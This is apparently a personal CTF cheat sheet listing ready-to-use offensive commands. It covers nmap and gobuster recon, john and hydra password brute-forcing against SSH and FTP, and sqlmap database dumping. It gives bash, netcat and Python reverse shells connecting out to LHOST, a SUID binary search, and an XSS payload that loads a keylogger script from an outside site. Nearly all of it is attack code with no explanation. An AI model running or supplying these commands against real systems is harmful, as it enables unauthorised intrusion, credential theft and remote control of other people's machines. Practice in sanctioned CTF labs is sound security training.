CTF Writeups

Commands and notes I actually use.

Recon

nmap -T4 -A -p- TARGET -oN nmap.txt
nmap -sV TARGET                      # service versions
nmap -O TARGET                       # OS detection
nmap -sS TARGET                      # stealth SYN scan

gobuster dir -u TARGET -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

smbclient -L //TARGET_IP -U username
smbmap -H TARGET_IP

Cracking

zip2john file.zip > file.zip.hash
john file.zip.hash

hydra -l mark -P /usr/share/wordlists/rockyou.txt IP ssh
hydra -l admin -P /usr/share/john/password.lst -vV ftplogin.com ftp

SQLMap

sqlmap -u "http://target.com/vuln_param" --batch --dbs
sqlmap -u "http://target.com/vuln_param" -D db_name --tables
sqlmap -u "http://target.com/vuln_param" -D db_name -T table -C column --dump

Reverse Shells

Bash:

bash -i >& /dev/tcp/LHOST/LPORT 0>&1

Netcat:

nc -e /bin/sh LHOST LPORT

Python:

python -c 'import socket,os,pty;s=socket.socket();s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

File Search

find / -type f -name '*.txt' 2>/dev/null
find / -perm -4000 2>/dev/null        # SUID binaries

XSS Payloads

<script>alert("test")</script>
<script src="http://www.xss-payloads.com/payloads/scripts/simplekeylogger.js"></script>

References

• GTFOBins - privesc via misconfigured binaries
• PayloadsAllTheThings - web app payloads
• HackTricks - methodology reference